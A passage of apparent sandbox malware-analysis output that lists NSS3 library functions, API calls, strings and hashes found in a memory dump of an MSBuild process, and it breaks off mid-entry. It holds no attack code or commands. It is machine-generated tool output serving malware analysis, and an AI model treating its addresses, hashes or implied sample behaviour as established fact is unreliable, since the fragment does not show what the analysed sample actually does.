PORT_ArenaAlloc_Util.NSS3(6CD50B64,00000001,?,?,?,?,6CC48E01,00000000,6CC49060,6CD50B64), ref: 6CC48EAD
memcpy.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,?,6CC48E01,00000000,6CC49060,6CD50B64), ref: 6CC48EC3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(5D8B5657,?,?,?,?,?,?,?,?,?,6CC48E01,00000000,6CC49060,6CD50B64), ref: 6CC48ED8
PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,6CC48E01,00000000,6CC49060,6CD50B64), ref: 6CC48EE5
memcpy.VCRUNTIME140(00000000,5D8B5657,00000001,?,?,?,?,?,?,?,?,?,?,?,?,6CC48E01), ref: 6CC48EFB
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6CD50B64,6CD50B64), ref: 6CC48F11
PORT_ArenaGrow_Util.NSS3(?,5D8B5657,643D8B08), ref: 6CC48F3F

Part of subcall function 6CC4A110: PORT_ArenaGrow_Util.NSS3(8514C483,EB2074C0,184D8B3E,?,00000000,00000000,00000000,FFFFFFFF,?,6CC4A421,00000000,00000000,6CC49826), ref: 6CC4A136

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CC4904A

Strings

abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_, xrefs: 6CC48E76

Memory Dump Source

Source File: 00000002.00000002.2787980192.000000006CB71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000002.00000002.2787964068.000000006CB70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788415351.000000006CD0F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788505145.000000006CD4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788523926.000000006CD4F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788546856.000000006CD50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788562488.000000006CD55000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cb70000_MSBuild.jbxd

Similarity

API ID: ArenaUtil$Alloc_Grow_memcpystrlen$Errormemchrstrcmp
String ID: abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_
API String ID: 977052965-1032500510
Opcode ID: 8b9855d45b652fb85cc33e14ebf6f7dc46a05d1cc689ab6dd30778398d92d28a
Instruction ID: f3424ce82590faa45bdbaa9125062b74356cf412bdd2b1bef6611195cc9f068c
Opcode Fuzzy Hash: 8b9855d45b652fb85cc33e14ebf6f7dc46a05d1cc689ab6dd30778398d92d28a
Instruction Fuzzy Hash: EC61AFB5E001159BDB10CF55CD80AABB7B9FF88369F14C528DC18A7B10E731A916CBE0

Function 6CBF8E00 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 193memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CBF8E5B
PR_SetError.NSS3(FFFFE007,00000000), ref: 6CBF8E81
PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6CBF8EED
SEC_QuickDERDecodeItem_Util.NSS3(?,?,6CD218D0,?), ref: 6CBF8F03
PR_CallOnce.NSS3(6CD52AA4,6CC512D0), ref: 6CBF8F19
PL_FreeArenaPool.NSS3(?), ref: 6CBF8F2B
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6CBF8F53
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6CBF8F65
PL_FinishArenaPool.NSS3(?), ref: 6CBF8FA1
SECITEM_DupItem_Util.NSS3(?), ref: 6CBF8FFE
PR_CallOnce.NSS3(6CD52AA4,6CC512D0), ref: 6CBF9012
PL_FreeArenaPool.NSS3(?), ref: 6CBF9024
PL_FinishArenaPool.NSS3(?), ref: 6CBF902C
PORT_DestroyCheapArena.NSS3(?), ref: 6CBF903E

Strings

security, xrefs: 6CBF8EE7

Memory Dump Source

Source File: 00000002.00000002.2787980192.000000006CB71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000002.00000002.2787964068.000000006CB70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788415351.000000006CD0F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788505145.000000006CD4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788523926.000000006CD4F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788546856.000000006CD50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788562488.000000006CD55000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cb70000_MSBuild.jbxd

Similarity

API ID: Arena$Pool$Util$CallErrorFinishFreeItem_Once$Alloc_CheapDecodeDestroyInitQuickmemset
String ID: security
API String ID: 3512696800-3315324353
Opcode ID: 7d24c4cb7462869292ed0a933a3efaa5f0260c421e894aad5ff4b111c33878d3
Instruction ID: 1e56105178f53b6216f5e915460683fb3fb66543b3407fffd464095500fb2469
Opcode Fuzzy Hash: 7d24c4cb7462869292ed0a933a3efaa5f0260c421e894aad5ff4b111c33878d3
Instruction Fuzzy Hash: 84515BB1508240AFE7109E1ADC45FAB73A8EB8635CF80082EF56497F50E732D81E8753

Function 6CC24E60 Relevance: 26.4, APIs: 9, Strings: 6, Instructions: 127COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GetAttributeValue), ref: 6CC24E83
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CC24EB8
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CC24EC7

Part of subcall function 6CD0D930: PL_strncpyz.NSS3(?,?,?), ref: 6CD0D963

PR_LogPrint.NSS3(?,00000000), ref: 6CC24EDD
PL_strncpyz.NSS3(?, hObject = 0x%x,00000050), ref: 6CC24F0B
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CC24F1A
PR_LogPrint.NSS3(?,00000000), ref: 6CC24F30
PR_LogPrint.NSS3( pTemplate = 0x%p,?), ref: 6CC24F4F
PR_LogPrint.NSS3( ulCount = %d,?), ref: 6CC24F68

Strings

hSession = 0x%x, xrefs: 6CC24EA2, 6CC24EB2
hObject = 0x%x, xrefs: 6CC24EF5, 6CC24F05
C_GetAttributeValue, xrefs: 6CC24E7E
(CK_INVALID_HANDLE), xrefs: 6CC24EC0, 6CC24F13
ulCount = %d, xrefs: 6CC24F63
pTemplate = 0x%p, xrefs: 6CC24F4A

Memory Dump Source

Source File: 00000002.00000002.2787980192.000000006CB71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000002.00000002.2787964068.000000006CB70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788415351.000000006CD0F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788505145.000000006CD4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788523926.000000006CD4F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788546856.000000006CD50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788562488.000000006CD55000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cb70000_MSBuild.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hObject = 0x%x$ hSession = 0x%x$ pTemplate = 0x%p$ ulCount = %d$ (CK_INVALID_HANDLE)$C_GetAttributeValue
API String ID: 1003633598-3530272145
Opcode ID: 2b477a02b1d38deed384f973f6c2aa82ab52a0a8ccc126661df48e48518ca5bc
Instruction ID: 2b1f5212ee64bb803139990941a2afb11b9bdb5b153e30a514af2c9e7bece3a5
Opcode Fuzzy Hash: 2b477a02b1d38deed384f973f6c2aa82ab52a0a8ccc126661df48e48518ca5bc
Instruction Fuzzy Hash: 0641A575A01144BFFB00DF58EC48F5B77B9AB5235DF484026E6085BB61E738994CCBA1

Function 6CC24CD0 Relevance: 26.4, APIs: 9, Strings: 6, Instructions: 120COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GetObjectSize), ref: 6CC24CF3
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CC24D28
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CC24D37

Part of subcall function 6CD0D930: PL_strncpyz.NSS3(?,?,?), ref: 6CD0D963

PR_LogPrint.NSS3(?,00000000), ref: 6CC24D4D
PL_strncpyz.NSS3(?, hObject = 0x%x,00000050), ref: 6CC24D7B
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CC24D8A
PR_LogPrint.NSS3(?,00000000), ref: 6CC24DA0
PR_LogPrint.NSS3( pulSize = 0x%p,?), ref: 6CC24DBC
PR_LogPrint.NSS3( *pulSize = 0x%x,?), ref: 6CC24E20

Strings

hSession = 0x%x, xrefs: 6CC24D12, 6CC24D22
*pulSize = 0x%x, xrefs: 6CC24E1B
hObject = 0x%x, xrefs: 6CC24D65, 6CC24D75
C_GetObjectSize, xrefs: 6CC24CEE
(CK_INVALID_HANDLE), xrefs: 6CC24D30, 6CC24D83
pulSize = 0x%p, xrefs: 6CC24DB7

Memory Dump Source

Source File: 00000002.00000002.2787980192.000000006CB71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000002.00000002.2787964068.000000006CB70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788415351.000000006CD0F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788505145.000000006CD4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788523926.000000006CD4F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788546856.000000006CD50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788562488.000000006CD55000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cb70000_MSBuild.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulSize = 0x%x$ hObject = 0x%x$ hSession = 0x%x$ pulSize = 0x%p$ (CK_INVALID_HANDLE)$C_GetObjectSize
API String ID: 1003633598-3553622718
Opcode ID: 3cf807beba8d0ffbb33d4e85e19ba45240e11d40b2782e54ad1b1747caaad7e6
Instruction ID: ea0718df0a74dfddb150177f46c68ea79f6bb5f24f015432002ae36ed2cda11f
Opcode Fuzzy Hash: 3cf807beba8d0ffbb33d4e85e19ba45240e11d40b2782e54ad1b1747caaad7e6
Instruction Fuzzy Hash: B141C771601104BFFB00DF58EC88F6A7779EB4274DF444066E6086BA61EB38994CCBA1

Function 6CC22F00 Relevance: 26.4, APIs: 8, Strings: 7, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_SetPIN), ref: 6CC22F26
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CC22F54
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CC22F63

Part of subcall function 6CD0D930: PL_strncpyz.NSS3(?,?,?), ref: 6CD0D963

PR_LogPrint.NSS3(?,00000000), ref: 6CC22F79
PR_LogPrint.NSS3( pOldPin = 0x%p,?), ref: 6CC22F9A
PR_LogPrint.NSS3( ulOldLen = %d,?), ref: 6CC22FB5
PR_LogPrint.NSS3( pNewPin = 0x%p,?), ref: 6CC22FCE
PR_LogPrint.NSS3( ulNewLen = %d,?), ref: 6CC22FE7

Strings

hSession = 0x%x, xrefs: 6CC22F3E, 6CC22F4E
ulOldLen = %d, xrefs: 6CC22FB0
C_SetPIN, xrefs: 6CC22F21
pOldPin = 0x%p, xrefs: 6CC22F95
(CK_INVALID_HANDLE), xrefs: 6CC22F5C
pNewPin = 0x%p, xrefs: 6CC22FC9
ulNewLen = %d, xrefs: 6CC22FE2

Memory Dump Source

Source File: 00000002.00000002.2787980192.000000006CB71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000002.00000002.2787964068.000000006CB70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788415351.000000006CD0F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788505145.000000006CD4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788523926.000000006CD4F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788546856.000000006CD50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788562488.000000006CD55000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cb70000_MSBuild.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pNewPin = 0x%p$ pOldPin = 0x%p$ ulNewLen = %d$ ulOldLen = %d$ (CK_INVALID_HANDLE)$C_SetPIN
API String ID: 1003633598-3716813897
Opcode ID: 2b97cc10a85e6c8e43f8b40f13e9e1b59b82d772736e9dae58e281b823e45325
Instruction ID: 04e9bfb38d850411a4a859da1a320753658915b5198d1cc333ee56b3bb6edb90
Opcode Fuzzy Hash: 2b97cc10a85e6c8e43f8b40f13e9e1b59b82d772736e9dae58e281b823e45325
Instruction Fuzzy Hash: 4331F775A01154BFEB10DF58EC4CE5A77B9EB4635DF884015EA08A7B21EB34984CCBA1

Function 6CCBCD70 Relevance: 26.3, APIs: 10, Strings: 5, Instructions: 76COMMON

Download Yara Rule

APIs

PR_LoadLibrary.NSS3(ws2_32.dll,?,?,?,6CCBCC7B), ref: 6CCBCD7A

Part of subcall function 6CCBCE60: PR_LoadLibraryWithFlags.NSS3(?,?,?,?,00000000,?,6CC2C1A8,?), ref: 6CCBCE92

PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6CCBCDA5
PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6CCBCDB8
PR_UnloadLibrary.NSS3(00000000), ref: 6CCBCDDB
PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6CCBCD8E

Part of subcall function 6CBE05C0: PR_EnterMonitor.NSS3 ref: 6CBE05D1
Part of subcall function 6CBE05C0: PR_ExitMonitor.NSS3 ref: 6CBE05EA

PR_LoadLibrary.NSS3(wship6.dll), ref: 6CCBCDE8
PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6CCBCDFF
PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6CCBCE16
PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6CCBCE29
PR_UnloadLibrary.NSS3(00000000), ref: 6CCBCE48

Strings

getaddrinfo, xrefs: 6CCBCD88, 6CCBCDF9
getnameinfo, xrefs: 6CCBCDB2, 6CCBCE23
ws2_32.dll, xrefs: 6CCBCD75
freeaddrinfo, xrefs: 6CCBCD9F, 6CCBCE10
wship6.dll, xrefs: 6CCBCDE3

Memory Dump Source

Source File: 00000002.00000002.2787980192.000000006CB71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000002.00000002.2787964068.000000006CB70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788415351.000000006CD0F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788505145.000000006CD4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788523926.000000006CD4F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788546856.000000006CD50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788562488.000000006CD55000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cb70000_MSBuild.jbxd

Similarity

API ID: FindSymbol$Library$Load$MonitorUnload$EnterExitFlagsWith
String ID: freeaddrinfo$getaddrinfo$getnameinfo$ws2_32.dll$wship6.dll
API String ID: 601260978-871931242
Opcode ID: 64198eaf6470aa018e0ee4ee53aec3fb4d0c7c4a62f147b0e3c38ec00a0c3c20
Instruction ID: f4b8d3764819932a734249d3b90a6e2f4df63b5f05efded23bb49102f46eb860
Opcode Fuzzy Hash: 64198eaf6470aa018e0ee4ee53aec3fb4d0c7c4a62f147b0e3c38ec00a0c3c20
Instruction Fuzzy Hash: D211DAA5E0226166FB017BF57C4099F399CAB0614DF540634EA0AE2F90FB38C90CC7E2

Function 6CC56CA0 Relevance: 24.3, APIs: 16, Instructions: 311memoryCOMMON

Download Yara Rule

APIs

SEC_ASN1DecodeItem_Util.NSS3(?,?,6CD21DE0,?), ref: 6CC56CFE
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CC56D26
PR_SetError.NSS3(FFFFE04F,00000000), ref: 6CC56D70
PORT_Alloc_Util.NSS3(00000480), ref: 6CC56D82
DER_GetInteger_Util.NSS3(?), ref: 6CC56DA2
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CC56DD8
PK11_KeyGen.NSS3(00000000,8000000B,?,00000000,00000000), ref: 6CC56E60
PK11_CreateContextBySymKey.NSS3(00000201,00000108,?,?), ref: 6CC56F19
PK11_DigestBegin.NSS3(00000000), ref: 6CC56F2D
PK11_DigestOp.NSS3(?,?,00000000), ref: 6CC56F7B
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6CC57011
PK11_FreeSymKey.NSS3(00000000), ref: 6CC57033
free.MOZGLUE(?), ref: 6CC5703F
PK11_DigestFinal.NSS3(?,?,?,00000400), ref: 6CC57060
SECITEM_CompareItem_Util.NSS3(?,?), ref: 6CC57087
PR_SetError.NSS3(FFFFE062,00000000), ref: 6CC570AF

Memory Dump Source

Source File: 00000002.00000002.2787980192.000000006CB71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000002.00000002.2787964068.000000006CB70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788415351.000000006CD0F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788505145.000000006CD4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788523926.000000006CD4F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788546856.000000006CD50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788562488.000000006CD55000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cb70000_MSBuild.jbxd

Similarity

API ID: K11_$Util$DigestError$ContextItem_$AlgorithmAlloc_BeginCompareCreateDecodeDestroyFinalFreeInteger_Tag_free
String ID:
API String ID: 2108637330-0
Opcode ID: 79d75f3bb2589a2baadf254154b0e81112641d48be976f2e290705aef3ad26fd
Instruction ID: bea62c6541a3ed1af3e56595cbaba7bf2e548fb629baa492c210b3daad2fe50e
Opcode Fuzzy Hash: 79d75f3bb2589a2baadf254154b0e81112641d48be976f2e290705aef3ad26fd
Instruction Fuzzy Hash: B8A16B71A056009BFB008F24DC85B5B32A4EB8131CFA48A39E959CBB81F775D879C757

Function 6CC1AEC0 Relevance: 24.3, APIs: 16, Instructions: 272threadCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6CBFAB95,00000000,?,00000000,00000000,00000000), ref: 6CC1AF25
EnterCriticalSection.KERNEL32(?,?,?,?,6CBFAB95,00000000,?,00000000,00000000,00000000), ref: 6CC1AF39
PR_Unlock.NSS3(?,?,?,6CBFAB95,00000000,?,00000000,00000000,00000000), ref: 6CC1AF51
PR_SetError.NSS3(FFFFE041,00000000,?,?,?,6CBFAB95,00000000,?,00000000,00000000,00000000), ref: 6CC1AF69
TlsGetValue.KERNEL32 ref: 6CC1B06B
EnterCriticalSection.KERNEL32(?), ref: 6CC1B083
PR_Unlock.NSS3(?), ref: 6CC1B0A4
TlsGetValue.KERNEL32 ref: 6CC1B0C1
EnterCriticalSection.KERNEL32(00000000), ref: 6CC1B0D9
PR_Unlock.NSS3 ref: 6CC1B102
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CC1B151
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CC1B182

Part of subcall function 6CC4FAB0: free.MOZGLUE(?,-00000001,?,?,6CBEF673,00000000,00000000), ref: 6CC4FAC7

PR_SetError.NSS3(FFFFE08A,00000000), ref: 6CC1B177

Part of subcall function 6CC9C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CC9C2BF

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,6CBFAB95,00000000,?,00000000,00000000,00000000), ref: 6CC1B1A2
PR_GetCurrentThread.NSS3(?,?,?,?,6CBFAB95,00000000,?,00000000,00000000,00000000), ref: 6CC1B1AA
PR_SetError.NSS3(FFFFE018,00000000,?,?,?,?,6CBFAB95,00000000,?,00000000,00000000,00000000), ref: 6CC1B1C2

Part of subcall function 6CC41560: TlsGetValue.KERNEL32(00000000,?,6CC10844,?), ref: 6CC4157A
Part of subcall function 6CC41560: EnterCriticalSection.KERNEL32(?,?,?,6CC10844,?), ref: 6CC4158F
Part of subcall function 6CC41560: PR_Unlock.NSS3(?,?,?,?,6CC10844,?), ref: 6CC415B2

Memory Dump Source

Source File: 00000002.00000002.2787980192.000000006CB71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000002.00000002.2787964068.000000006CB70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788415351.000000006CD0F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788505145.000000006CD4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788523926.000000006CD4F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788546856.000000006CD50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788562488.000000006CD55000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cb70000_MSBuild.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlock$ErrorItem_UtilZfree$CurrentThreadfree
String ID:
API String ID: 4188828017-0
Opcode ID: 874636ad747faaefc5073be6a69a09d49837946f376739ef36e1fd169836f5b3
Instruction ID: f4296026e3434e088a3103f851f87047c760891356ba5d1b8467893f0497e906
Opcode Fuzzy Hash: 874636ad747faaefc5073be6a69a09d49837946f376739ef36e1fd169836f5b3
Instruction Fuzzy Hash: F2A1BFB1E002059BEF009F65DC41BEEB7B4BF48318F144125EA09A6B51FB31E999DBA1

Function 6CC6AD90 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 127COMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC6ADB1

Part of subcall function 6CC4BE30: SECOID_FindOID_Util.NSS3(6CC0311B,00000000,?,6CC0311B,?), ref: 6CC4BE44

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6CC6ADF4
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6CC6AE08

Part of subcall function 6CC4B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CD218D0,?), ref: 6CC4B095

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CC6AE25
PL_FreeArenaPool.NSS3 ref: 6CC6AE63
PR_CallOnce.NSS3(6CD52AA4,6CC512D0), ref: 6CC6AE4D

Part of subcall function 6CB74C70: TlsGetValue.KERNEL32(?,?,?,6CB73921,6CD514E4,6CCBCC70), ref: 6CB74C97
Part of subcall function 6CB74C70: EnterCriticalSection.KERNEL32(?,?,?,?,6CB73921,6CD514E4,6CCBCC70), ref: 6CB74CB0
Part of subcall function 6CB74C70: PR_Unlock.NSS3(?,?,?,?,?,6CB73921,6CD514E4,6CCBCC70), ref: 6CB74CC9

SECKEY_DestroyPublicKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC6AE93
PR_CallOnce.NSS3(6CD52AA4,6CC512D0), ref: 6CC6AECC
PL_FreeArenaPool.NSS3 ref: 6CC6AEDE
PL_FinishArenaPool.NSS3 ref: 6CC6AEE6
PR_SetError.NSS3(FFFFD004,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC6AEF5
PL_FinishArenaPool.NSS3 ref: 6CC6AF16

Strings

security, xrefs: 6CC6ADEE

Memory Dump Source

Source File: 00000002.00000002.2787980192.000000006CB71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000002.00000002.2787964068.000000006CB70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788415351.000000006CD0F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788505145.000000006CD4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788523926.000000006CD4F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788546856.000000006CD50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788562488.000000006CD55000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cb70000_MSBuild.jbxd

Similarity

API ID: ArenaPool$Util$AlgorithmCallErrorFinishFreeOnceTag_$CriticalDecodeDestroyEnterFindInitItem_PublicQuickSectionUnlockValue
String ID: security
API String ID: 3441714441-3315324353
Opcode ID: 7f60c313ca99891cf8ebfcd6941eee668bf87c33ad37e64b9cdf717114e799b4
Instruction ID: b580edac06271408f38be4c159b3a9e17343c2b601f441d8bb90c2ed9bcbf634
Opcode Fuzzy Hash: 7f60c313ca99891cf8ebfcd6941eee668bf87c33ad37e64b9cdf717114e799b4
Instruction Fuzzy Hash: DE413AB590462067FB218B269DC4BBA32A8AFD231CF500525E91492F81F7359939C7D3

Function 6CC5E8C0 Relevance: 22.9, APIs: 15, Instructions: 353memoryCOMMON

Download Yara Rule

APIs

PORT_ZAlloc_Util.NSS3(0000001C,?,6CC5E853,?,FFFFFFFF,?,?,6CC5B0CC,?,6CC5B4A0,?,00000000), ref: 6CC5E8D9

Part of subcall function 6CC50D30: calloc.MOZGLUE ref: 6CC50D50
Part of subcall function 6CC50D30: TlsGetValue.KERNEL32 ref: 6CC50D6D

Part of subcall function 6CC5C6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6CC5DAE2,?), ref: 6CC5C6C2

PORT_ArenaMark_Util.NSS3(?), ref: 6CC5E972
PORT_ArenaMark_Util.NSS3(?), ref: 6CC5E9C2
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CC5EA00
PORT_ArenaAlloc_Util.NSS3(?,-00000007), ref: 6CC5EA3F
SECOID_FindOIDByTag_Util.NSS3(00000010), ref: 6CC5EA5A
SECKEY_DestroyPublicKey.NSS3(00000000), ref: 6CC5EA81
SECOID_SetAlgorithmID_Util.NSS3(?,?,00000010,00000000), ref: 6CC5EA9E
SECOID_FindOIDByTag_Util.NSS3(?), ref: 6CC5EACF
PK11_KeyGen.NSS3(00000000,-00000001,00000000,?,00000000), ref: 6CC5EB56
PK11_FreeSymKey.NSS3(00000000), ref: 6CC5EBC2
SECOID_FindOID_Util.NSS3(?), ref: 6CC5EBEC
free.MOZGLUE(00000000), ref: 6CC5EC58

Memory Dump Source

Source File: 00000002.00000002.2787980192.000000006CB71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000002.00000002.2787964068.000000006CB70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788415351.000000006CD0F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788505145.000000006CD4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788523926.000000006CD4F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788546856.000000006CD50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788562488.000000006CD55000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cb70000_MSBuild.jbxd

Similarity

API ID: Util$Find$ArenaTag_$AlgorithmAlloc_K11_Mark_$DestroyFreePublicValuecallocfree
String ID:
API String ID: 759478663-0
Opcode ID: ab8a41e200a90f051bad1fbe76a5e72d5e23b8d1c7b69da6c9d891ad093b8a11
Instruction ID: c5c74e6058a61125d067ab41576599f0f12bf0ad59a25efbb4c420fc0ac2eebc
Opcode Fuzzy Hash: ab8a41e200a90f051bad1fbe76a5e72d5e23b8d1c7b69da6c9d891ad093b8a11
Instruction Fuzzy Hash: 18C18FB1E002059BEB04CF69D880BAA7BB4BF08308F54006DE916A7B51F735E834CBD9

Function 6CD0AF70 Relevance: 22.7, APIs: 15, Instructions: 221threadCOMMON

Download Yara Rule

APIs

